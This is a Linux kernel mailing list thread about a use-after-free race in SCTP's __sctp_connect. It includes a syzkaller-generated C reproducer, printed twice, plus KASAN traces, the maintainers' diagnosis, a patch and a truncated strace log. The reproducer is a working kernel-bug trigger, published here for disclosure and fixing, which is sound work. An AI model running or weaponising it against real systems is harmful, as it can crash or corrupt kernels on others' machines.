Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > > >> > <marcelo.leitner@gmail.com> wrote: > > >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > > >> >>> Hi, > > >> >>> > > >> >>> I've got the following error report while running the syzkaller fuzzer: > > >> >>> > > >> >>> ================================================================== > > >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > > >> >>> ffff88006b1dc610 > > >> >> > > >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > > >> >> So far I couldn't identify the reason. > > >> >> "Good" to know it's still there, thanks for reporting it. > > >> > > >> Hi Marcelo, > > >> > > > > > > Hi > > > > > >> So I've looked at the code. > > >> As far as I understand, the problem is a race condition between > > >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. > > >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop > > >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc > > >> with sctp_association_put() and returns err = 0. > > >> Then __sctp_connect() checks that err == 0 and reads asoc->assoc_id > > >> from the freed asoc. > > > > > > Suddenly this seems familiar. Your description makes sense, thanks for > > > looking deeper into this, Andrey. > > > > > > This fix should do it, can you please try it? I'll post it properly > > > if it works. > > > > Yes, it fixes the issue. > > > > Tested-by: Andrey Konovalov <andreyknvl@google.com> > > > > Thanks for the fix! > > Ahm this other fix looks better: do the read before calling > sctp_wait_for_connect() as that id won't change in this call and the > application shouldn't trust this number if an error is returned, so > there should be no issues by returning it in such situation. > > Can you please confirm this one also works? Thanks! > > ---8<--- > > diff --git a/net/sctp/socket.c b/net/sctp/socket.c > index 6cdc61c21438..be1d9bb98230 100644 > --- a/net/sctp/socket.c > +++ b/net/sctp/socket.c > @@ -1214,9 +1214,12 @@ static int __sctp_connect(struct sock *sk, > > timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); > > - err = sctp_wait_for_connect(asoc, &timeo); > - if ((err == 0 || err == -EINPROGRESS) && assoc_id) > + if (assoc_id) > *assoc_id = asoc->assoc_id; > + err = sctp_wait_for_connect(asoc, &timeo); > + /* Note: the asoc may be freed after the return of > + * sctp_wait_for_connect. > + */ > > /* Don't free association on exit. */ > asoc = NULL; > Agreed, this version looks better. Please repost it with a proper changelog and I'll ack it. Neil ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-04 12:59 ` Neil Horman @ 2016-11-04 13:03 ` Marcelo Ricardo Leitner 0 siblings, 0 replies; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-11-04 13:03 UTC (permalink / raw) To: Neil Horman Cc: Andrey Konovalov, Vlad Yasevich, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Fri, Nov 04, 2016 at 08:59:58AM -0400, Neil Horman wrote: > On Thu, Nov 03, 2016 at 04:35:33PM -0200, Marcelo Ricardo Leitner wrote: > > On Thu, Nov 03, 2016 at 07:02:47PM +0100, Andrey Konovalov wrote: > > > On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner > > > <marcelo.leitner@gmail.com> wrote: > > > > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: > > > >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > > > >> > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > > > >> > <marcelo.leitner@gmail.com> wrote: > > > >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > > > >> >>> Hi, > > > >> >>> > > > >> >>> I've got the following error report while running the syzkaller fuzzer: > > > >> >>> > > > >> >>> ================================================================== > > > >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > > > >> >>> ffff88006b1dc610 > > > >> >> > > > >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > > > >> >> So far I couldn't identify the reason. > > > >> >> "Good" to know it's still there, thanks for reporting it. > > > >> > > > >> Hi Marcelo, > > > >> > > > > > > > > Hi > > > > > > > >> So I've looked at the code. > > > >> As far as I understand, the problem is a race condition between > > > >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. > > > >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop > > > >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc > > > >> with sctp_association_put() and returns err = 0. > > > >> Then __sctp_connect() checks that err == 0 and reads asoc->assoc_id > > > >> from the freed asoc. > > > > > > > > Suddenly this seems familiar. Your description makes sense, thanks for > > > > looking deeper into this, Andrey. > > > > > > > > This fix should do it, can you please try it? I'll post it properly > > > > if it works. > > > > > > Yes, it fixes the issue. > > > > > > Tested-by: Andrey Konovalov <andreyknvl@google.com> > > > > > > Thanks for the fix! > > > > Ahm this other fix looks better: do the read before calling > > sctp_wait_for_connect() as that id won't change in this call and the > > application shouldn't trust this number if an error is returned, so > > there should be no issues by returning it in such situation. > > > > Can you please confirm this one also works? Thanks! > > > > ---8<--- > > > > diff --git a/net/sctp/socket.c b/net/sctp/socket.c > > index 6cdc61c21438..be1d9bb98230 100644 > > --- a/net/sctp/socket.c > > +++ b/net/sctp/socket.c > > @@ -1214,9 +1214,12 @@ static int __sctp_connect(struct sock *sk, > > > > timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); > > > > - err = sctp_wait_for_connect(asoc, &timeo); > > - if ((err == 0 || err == -EINPROGRESS) && assoc_id) > > + if (assoc_id) > > *assoc_id = asoc->assoc_id; > > + err = sctp_wait_for_connect(asoc, &timeo); > > + /* Note: the asoc may be freed after the return of > > + * sctp_wait_for_connect. > > + */ > > > > /* Don't free association on exit. */ > > asoc = NULL; > > > Agreed, this version looks better. Please repost it with a proper changelog and > I'll ack it. > Neil It already is. :-) Please look for Subject: [PATCH net] sctp: assign assoc_id earlier in __sctp_connect Thanks, Marcelo ^ permalink raw reply [flat|nested] 17+ messages in thread
* net/sctp: use-after-free in __sctp_connect @ 2016-01-13 9:52 Dmitry Vyukov 2016-01-14 1:37 ` YUAN Jia 2016-01-15 19:01 ` Marcelo Ricardo Leitner 0 siblings, 2 replies; 17+ messages in thread From: Dmitry Vyukov @ 2016-01-13 9:52 UTC (permalink / raw) To: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, Marcelo Ricardo Leitner Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin Hello, The following program causes use-after-free in __sctp_connect: // autogenerated by syzkaller (http://github.com/google/syzkaller) #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <stdint.h> #include <pthread.h> long r[13]; void *thr(void *arg) { switch ((long)arg) { case 0: r[0] = syscall(SYS_mmap, 0x20000000ul, 0x20000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); break; case 1: r[1] = syscall(SYS_socket, 0xaul, 0x1ul, 0x84ul, 0, 0, 0); break; case 2: memcpy((void*)0x2000b000, "\x0a\x00\x33\xe0\x49\xd0\x2e\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x4c\x37\xff\xc4", 28); r[3] = syscall(SYS_bind, r[1], 0x2000b000ul, 0x1cul, 0, 0, 0); break; case 3: r[4] = syscall(SYS_dup2, r[1], r[1], 0, 0, 0, 0); break; case 4: *(uint64_t*)0x200177ed = (uint64_t)0x0; *(uint64_t*)0x200177f5 = (uint64_t)0x2710; r[7] = syscall(SYS_setsockopt, r[4], 0x1ul, 0x15ul, 0x200177edul, 0x10ul, 0); break; case 5: *(uint16_t*)0x2000b008 = (uint16_t)0x2; *(uint16_t*)0x2000b00a = (uint16_t)0xbab; *(uint32_t*)0x2000b00c = (uint32_t)0xffffffff; r[11] = syscall(SYS_setsockopt, r[4], 0x84ul, 0x6eul, 0x2000b000ul, 0x1cul, 0); break; case 6: r[12] = syscall(SYS_shutdown, r[4], 0x1ul, 0, 0, 0, 0); break; } return 0; } int main() { long i; pthread_t th[7]; memset(r, -1, sizeof(r)); for (i = 0; i < 7; i++) { pthread_create(&th[i], 0, thr, (void*)i); usleep(10000); } for (i = 0; i < 7; i++) { pthread_create(&th[i], 0, thr, (void*)i); if (i%2==0) usleep(10000); } usleep(100000); return 0; } ================================================================== BUG: KASAN: use-after-free in __sctp_connect+0xb23/0xb90 at addr ffff8800605febb8 Read of size 4 by task syz-executor/15263 INFO: Allocated in sctp_association_new+0x6f/0x1da0 age=0 cpu=3 pid=15267 [< none >] ___slab_alloc+0x486/0x4e0 mm/slub.c:2468 [< none >] __slab_alloc+0x66/0xc0 mm/slub.c:2497 [< inline >] slab_alloc_node mm/slub.c:2560 [< inline >] slab_alloc mm/slub.c:2602 [< none >] kmem_cache_alloc_trace+0x284/0x310 mm/slub.c:2619 [< inline >] kmalloc include/linux/slab.h:458 [< inline >] kzalloc include/linux/slab.h:602 [< none >] sctp_association_new+0x6f/0x1da0 net/sctp/associola.c:302 [< none >] __sctp_connect+0x4ec/0xb90 net/sctp/socket.c:1161 [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 net/sctp/socket.c:1328 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 [< inline >] SYSC_setsockopt net/socket.c:1752 [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a arch/x86/entry/entry_64.S:185 INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid=15267 [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 [< inline >] slab_free mm/slub.c:2833 [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 [< inline >] sctp_association_destroy net/sctp/associola.c:424 [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 net/sctp/socket.c:1328 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 [< inline >] SYSC_setsockopt net/socket.c:1752 [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a arch/x86/entry/entry_64.S:185 INFO: Slab 0xffffea0001817e00 objects=7 used=3 fp=0xffff8800605fa3b0 flags=0x5fffc0000004080 INFO: Object 0xffff8800605feb10 @offset=27408 fp=0x (null) CPU: 2 PID: 15263 Comm: syz-executor Tainted: G B 4.4.0+ #237 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 00000000ffffffff ffff88003717f8f0 ffffffff8290ea2d ffff88003e806a00 ffff8800605feb10 ffff8800605f8000 ffff88003717f920 ffffffff81730904 ffff88003e806a00 ffffea0001817e00 ffff8800605feb10 dffffc0000000000 Call Trace: [<ffffffff81739e1e>] __asan_report_load4_noabort+0x3e/0x40 mm/kasan/report.c:294 [<ffffffff85925803>] __sctp_connect+0xb23/0xb90 net/sctp/socket.c:1217 [<ffffffff85925a08>] __sctp_setsockopt_connectx+0x198/0x1d0 net/sctp/socket.c:1328 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 [<ffffffff8592bf36>] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 [<ffffffff84d593a5>] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 [< inline >] SYSC_setsockopt net/socket.c:1752 [<ffffffff84d56548>] SyS_setsockopt+0x158/0x240 net/socket.c:1731 [<ffffffff85e8eb76>] entry_SYSCALL_64_fastpath+0x16/0x7a arch/x86/entry/entry_64.S:185 ================================================================== On commit 03891f9c853d5c4473224478a1e03ea00d70ff8d (Jan 11). ^ permalink raw reply [flat|nested] 17+ messages in thread
* RE: net/sctp: use-after-free in __sctp_connect 2016-01-13 9:52 Dmitry Vyukov @ 2016-01-14 1:37 ` YUAN Jia 2016-01-14 1:45 ` Marcelo Ricardo Leitner 2016-01-15 19:01 ` Marcelo Ricardo Leitner 1 sibling, 1 reply; 17+ messages in thread From: YUAN Jia @ 2016-01-14 1:37 UTC (permalink / raw) To: 'Dmitry Vyukov', Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, Marcelo Ricardo Leitner Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin Hi Dmitry, I've tested your program, but found nothing happens. So, I suspect it may cause kernel crash only on some special kernel version? I was just using kernel of 4.2.3. What about you? Richard -----Original Message----- From: linux-sctp-owner@vger.kernel.org [mailto:linux-sctp-owner@vger.kernel.org] On Behalf Of Dmitry Vyukov Sent: 2016年1月13日 17:53 To: Vlad Yasevich; Neil Horman; David S. Miller; linux-sctp@vger.kernel.org; netdev; LKML; Eric Dumazet; Marcelo Ricardo Leitner Cc: syzkaller; Kostya Serebryany; Alexander Potapenko; Sasha Levin Subject: net/sctp: use-after-free in __sctp_connect Hello, The following program causes use-after-free in __sctp_connect: // autogenerated by syzkaller (http://github.com/google/syzkaller) #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <stdint.h> #include <pthread.h> long r[13]; void *thr(void *arg) { switch ((long)arg) { case 0: r[0] = syscall(SYS_mmap, 0x20000000ul, 0x20000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); break; case 1: r[1] = syscall(SYS_socket, 0xaul, 0x1ul, 0x84ul, 0, 0, 0); break; case 2: memcpy((void*)0x2000b000, "\x0a\x00\x33\xe0\x49\xd0\x2e\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x4c\x37\xff\xc4", 28); r[3] = syscall(SYS_bind, r[1], 0x2000b000ul, 0x1cul, 0, 0, 0); break; case 3: r[4] = syscall(SYS_dup2, r[1], r[1], 0, 0, 0, 0); break; case 4: *(uint64_t*)0x200177ed = (uint64_t)0x0; *(uint64_t*)0x200177f5 = (uint64_t)0x2710; r[7] = syscall(SYS_setsockopt, r[4], 0x1ul, 0x15ul, 0x200177edul, 0x10ul, 0); break; case 5: *(uint16_t*)0x2000b008 = (uint16_t)0x2; *(uint16_t*)0x2000b00a = (uint16_t)0xbab; *(uint32_t*)0x2000b00c = (uint32_t)0xffffffff; r[11] = syscall(SYS_setsockopt, r[4], 0x84ul, 0x6eul, 0x2000b000ul, 0x1cul, 0); break; case 6: r[12] = syscall(SYS_shutdown, r[4], 0x1ul, 0, 0, 0, 0); break; } return 0; } int main() { long i; pthread_t th[7]; memset(r, -1, sizeof(r)); for (i = 0; i < 7; i++) { pthread_create(&th[i], 0, thr, (void*)i); usleep(10000); } for (i = 0; i < 7; i++) { pthread_create(&th[i], 0, thr, (void*)i); if (i%2==0) usleep(10000); } usleep(100000); return 0; } ================================================================== BUG: KASAN: use-after-free in __sctp_connect+0xb23/0xb90 at addr ffff8800605febb8 Read of size 4 by task syz-executor/15263 INFO: Allocated in sctp_association_new+0x6f/0x1da0 age=0 cpu=3 pid=15267 [< none >] ___slab_alloc+0x486/0x4e0 mm/slub.c:2468 [< none >] __slab_alloc+0x66/0xc0 mm/slub.c:2497 [< inline >] slab_alloc_node mm/slub.c:2560 [< inline >] slab_alloc mm/slub.c:2602 [< none >] kmem_cache_alloc_trace+0x284/0x310 mm/slub.c:2619 [< inline >] kmalloc include/linux/slab.h:458 [< inline >] kzalloc include/linux/slab.h:602 [< none >] sctp_association_new+0x6f/0x1da0 net/sctp/associola.c:302 [< none >] __sctp_connect+0x4ec/0xb90 net/sctp/socket.c:1161 [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 net/sctp/socket.c:1328 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 [< inline >] SYSC_setsockopt net/socket.c:1752 [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a arch/x86/entry/entry_64.S:185 INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid=15267 [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 [< inline >] slab_free mm/slub.c:2833 [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 [< inline >] sctp_association_destroy net/sctp/associola.c:424 [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 net/sctp/socket.c:1328 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 [< inline >] SYSC_setsockopt net/socket.c:1752 [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a arch/x86/entry/entry_64.S:185 INFO: Slab 0xffffea0001817e00 objects=7 used=3 fp=0xffff8800605fa3b0 flags=0x5fffc0000004080 INFO: Object 0xffff8800605feb10 @offset=27408 fp=0x (null) CPU: 2 PID: 15263 Comm: syz-executor Tainted: G B 4.4.0+ #237 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 00000000ffffffff ffff88003717f8f0 ffffffff8290ea2d ffff88003e806a00 ffff8800605feb10 ffff8800605f8000 ffff88003717f920 ffffffff81730904 ffff88003e806a00 ffffea0001817e00 ffff8800605feb10 dffffc0000000000 Call Trace: [<ffffffff81739e1e>] __asan_report_load4_noabort+0x3e/0x40 mm/kasan/report.c:294 [<ffffffff85925803>] __sctp_connect+0xb23/0xb90 net/sctp/socket.c:1217 [<ffffffff85925a08>] __sctp_setsockopt_connectx+0x198/0x1d0 net/sctp/socket.c:1328 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 [<ffffffff8592bf36>] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 [<ffffffff84d593a5>] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 [< inline >] SYSC_setsockopt net/socket.c:1752 [<ffffffff84d56548>] SyS_setsockopt+0x158/0x240 net/socket.c:1731 [<ffffffff85e8eb76>] entry_SYSCALL_64_fastpath+0x16/0x7a arch/x86/entry/entry_64.S:185 ================================================================== On commit 03891f9c853d5c4473224478a1e03ea00d70ff8d (Jan 11). -- To unsubscribe from this list: send the line "unsubscribe linux-sctp" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-01-14 1:37 ` YUAN Jia @ 2016-01-14 1:45 ` Marcelo Ricardo Leitner 0 siblings, 0 replies; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-01-14 1:45 UTC (permalink / raw) To: YUAN Jia, 'Dmitry Vyukov', Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin Em 13-01-2016 23:37, YUAN Jia escreveu: > Hi Dmitry, > > I've tested your program, but found nothing happens. So, I suspect it may cause kernel crash only on some special kernel version? > I was just using kernel of 4.2.3. What about you? > > Richard Please don't top-post. Note that it doesn't necessarily crashes the system. syzkaller is using kasan to detect such type of invalid accesses, which in some conditions may lead to crashes, weird behavior or just nothing at all. It all depends on how much the memory was already changed after it was freed. > -----Original Message----- > From: linux-sctp-owner@vger.kernel.org [mailto:linux-sctp-owner@vger.kernel.org] On Behalf Of Dmitry Vyukov > Sent: 2016年1月13日 17:53 > To: Vlad Yasevich; Neil Horman; David S. Miller; linux-sctp@vger.kernel.org; netdev; LKML; Eric Dumazet; Marcelo Ricardo Leitner > Cc: syzkaller; Kostya Serebryany; Alexander Potapenko; Sasha Levin > Subject: net/sctp: use-after-free in __sctp_connect > ... > > On commit 03891f9c853d5c4473224478a1e03ea00d70ff8d (Jan 11). This is the git commit/(version) he was using --^ Marcelo ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-01-13 9:52 Dmitry Vyukov 2016-01-14 1:37 ` YUAN Jia @ 2016-01-15 19:01 ` Marcelo Ricardo Leitner 2016-01-19 14:38 ` Vlad Yasevich 1 sibling, 1 reply; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-01-15 19:01 UTC (permalink / raw) To: Dmitry Vyukov Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin On Wed, Jan 13, 2016 at 10:52:31AM +0100, Dmitry Vyukov wrote: > Hello, > > The following program causes use-after-free in __sctp_connect: > ... > INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid=15267 > [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 > [< inline >] slab_free mm/slub.c:2833 > [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 > [< inline >] sctp_association_destroy net/sctp/associola.c:424 > [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 > [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 ^^^^^^^^^^^^^^ > [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 > [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 > net/sctp/socket.c:1328 > [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 > [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 > [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 > [< inline >] SYSC_setsockopt net/socket.c:1752 > [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 > [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a > arch/x86/entry/entry_64.S:185 This one may sher some light on that other socket leak one, because the association shouldn't have been freed at that point. Now, how it managed to unbalance that refcnt, hmm... ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-01-15 19:01 ` Marcelo Ricardo Leitner @ 2016-01-19 14:38 ` Vlad Yasevich 2016-01-21 17:18 ` Marcelo Ricardo Leitner 0 siblings, 1 reply; 17+ messages in thread From: Vlad Yasevich @ 2016-01-19 14:38 UTC (permalink / raw) To: Marcelo Ricardo Leitner, Dmitry Vyukov Cc: Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin On 01/15/2016 02:01 PM, Marcelo Ricardo Leitner wrote: > On Wed, Jan 13, 2016 at 10:52:31AM +0100, Dmitry Vyukov wrote: >> Hello, >> >> The following program causes use-after-free in __sctp_connect: >> > ... >> INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid=15267 >> [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 >> [< inline >] slab_free mm/slub.c:2833 >> [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 >> [< inline >] sctp_association_destroy net/sctp/associola.c:424 >> [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 >> [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 > ^^^^^^^^^^^^^^ >> [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 >> [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 >> net/sctp/socket.c:1328 >> [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 >> [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 >> [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 >> [< inline >] SYSC_setsockopt net/socket.c:1752 >> [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 >> [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a >> arch/x86/entry/entry_64.S:185 > > This one may sher some light on that other socket leak one, because the > association shouldn't have been freed at that point. > Now, how it managed to unbalance that refcnt, hmm... > The free may be a result of implicit close when the program ends. If the thread is still waiting for connect to finish when the program ends, we may end up in a situation when the association has been freed, but the ref held by wait_for_connect prevents the destruction. When wait_for_connect finishes in puts the ref and causes the destruction. What I am guessing is happing is the wait_for_connect doesn't catch the error condition correctly and thus __sctp_connect() doesn't think there was and error and references the assoc which was just destroyed. -vlad ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-01-19 14:38 ` Vlad Yasevich @ 2016-01-21 17:18 ` Marcelo Ricardo Leitner 2016-01-21 17:37 ` Marcelo Ricardo Leitner 0 siblings, 1 reply; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-01-21 17:18 UTC (permalink / raw) To: Vlad Yasevich Cc: Dmitry Vyukov, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin On Tue, Jan 19, 2016 at 09:38:54AM -0500, Vlad Yasevich wrote: > On 01/15/2016 02:01 PM, Marcelo Ricardo Leitner wrote: > > On Wed, Jan 13, 2016 at 10:52:31AM +0100, Dmitry Vyukov wrote: > >> Hello, > >> > >> The following program causes use-after-free in __sctp_connect: > >> > > ... > >> INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid=15267 > >> [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 > >> [< inline >] slab_free mm/slub.c:2833 > >> [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 > >> [< inline >] sctp_association_destroy net/sctp/associola.c:424 > >> [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 > >> [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 > > ^^^^^^^^^^^^^^ > >> [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 > >> [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 > >> net/sctp/socket.c:1328 > >> [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 > >> [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 > >> [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 > >> [< inline >] SYSC_setsockopt net/socket.c:1752 > >> [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 > >> [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a > >> arch/x86/entry/entry_64.S:185 > > > > This one may sher some light on that other socket leak one, because the > > association shouldn't have been freed at that point. > > Now, how it managed to unbalance that refcnt, hmm... > > > > The free may be a result of implicit close when the program ends. If the thread > is still waiting for connect to finish when the program ends, we may end up > in a situation when the association has been freed, but the ref held by wait_for_connect > prevents the destruction. When wait_for_connect finishes in puts the ref and > causes the destruction. That could be it, yes. > What I am guessing is happing is the wait_for_connect doesn't catch the error condition > correctly and thus __sctp_connect() doesn't think there was and error and references > the assoc which was just destroyed. Perfect. There is another thing that this program exploits that, in this case, leads to this. It's creating a tcp-style socket, calling connect() on it in one thread and sendto() to a different peer in the main thread probably while the connect is still in progress. Seems that can lead to one having two assocs on a tcp-style socket, because we don't check if we the socket has associations but if it's in established state. I don't see the checks on sctp_sendmsg() protecting from this case. 2511 14:55:10 socket(PF_INET6, SOCK_STREAM, IPPROTO_SCTP) = 3 <0.000366> 2511 14:55:10 mmap(0x20000000, 65536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000 <0.000082> 2511 14:55:10 bind(3, {sa_family=AF_INET6, sin6_port=htons(13280), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=1882116169, sin6_scope_id=3305060172}, 28) = 0 <0.000119> - bound to IPv6 2511 14:55:10 mmap(NULL, 8392704, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f52f9e75000 <0.000084> 2511 14:55:10 brk(0) = 0x1cf8000 <0.000065> 2511 14:55:10 brk(0x1d19000) = 0x1d19000 <0.000079> 2511 14:55:10 brk(0) = 0x1d19000 <0.000064> 2511 14:55:10 mprotect(0x7f52f9e75000, 4096, PROT_NONE) = 0 <0.000091> 2511 14:55:10 clone(child_stack=0x7f52fa674ff0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x7f52fa6759d0, tls=0x7f52fa675700, child_tidptr=0x7f52fa6759d0) = 2512 <0.000211> 2511 14:55:10 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=6, linger=0}, 8 <unfinished ...> 2512 14:55:10 set_robust_list(0x7f52fa6759e0, 24 <unfinished ...> 2511 14:55:10 <... setsockopt resumed> ) = 0 <0.000135> 2512 14:55:10 <... set_robust_list resumed> ) = 0 <0.000133> 2511 14:55:10 sendfile(3, 3, [0], 192 <unfinished ...> 2512 14:55:10 connect(3, {sa_family=AF_INET, 